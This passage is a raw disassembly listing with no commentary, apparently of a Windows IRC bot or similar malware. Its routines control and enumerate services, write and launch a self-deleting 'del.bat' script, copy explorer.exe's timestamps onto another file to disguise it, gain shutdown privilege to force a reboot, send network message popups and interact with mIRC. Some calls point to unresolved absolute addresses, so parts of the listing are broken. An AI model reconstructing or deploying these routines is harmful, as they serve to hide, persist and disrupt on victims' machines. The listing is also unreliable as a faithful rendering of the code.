loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 26A0CACh
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2840000h
		nop
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB18C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9B4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9D4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		call	near ptr 28506AEh
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2850000h
		call	dword_4CBA38
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9F0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2860172h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2860000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA40
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA40
		push	ebx
		call	near ptr 2850BDDh
		nop
		push	edi
		call	near ptr 2680000h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBAA0
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2870000h
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 28607F8h
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB924
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAB4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2750765h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2740000h
		nop
		push	edi
		nop
		call	near ptr 2680000h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB98
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26B0528h
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26B0453h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26B0389h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2880000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 26802DCh


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 2700000h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB964
		push	edi
		push	eax
		call	dword_4CB974
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_439504


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_4394DC
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394AC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 2700000h
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26C0BF1h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26D0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 27F08EBh
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439528[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_439524[esi]
		push	offset unk_439638


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA50
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43960C
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA50
		push	off_439520[eax*4]
		push	offset unk_4395E8
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9D8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		nop
		call	near ptr 26A0CACh
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8C0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 26A0CACh
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB92C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8C8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB930


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		nop
		call	near ptr 26A0CACh
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8DC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8DC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB390
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB390
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB390
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9D8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB9A4
		test	eax, eax
		jnz	short loc_418F1A
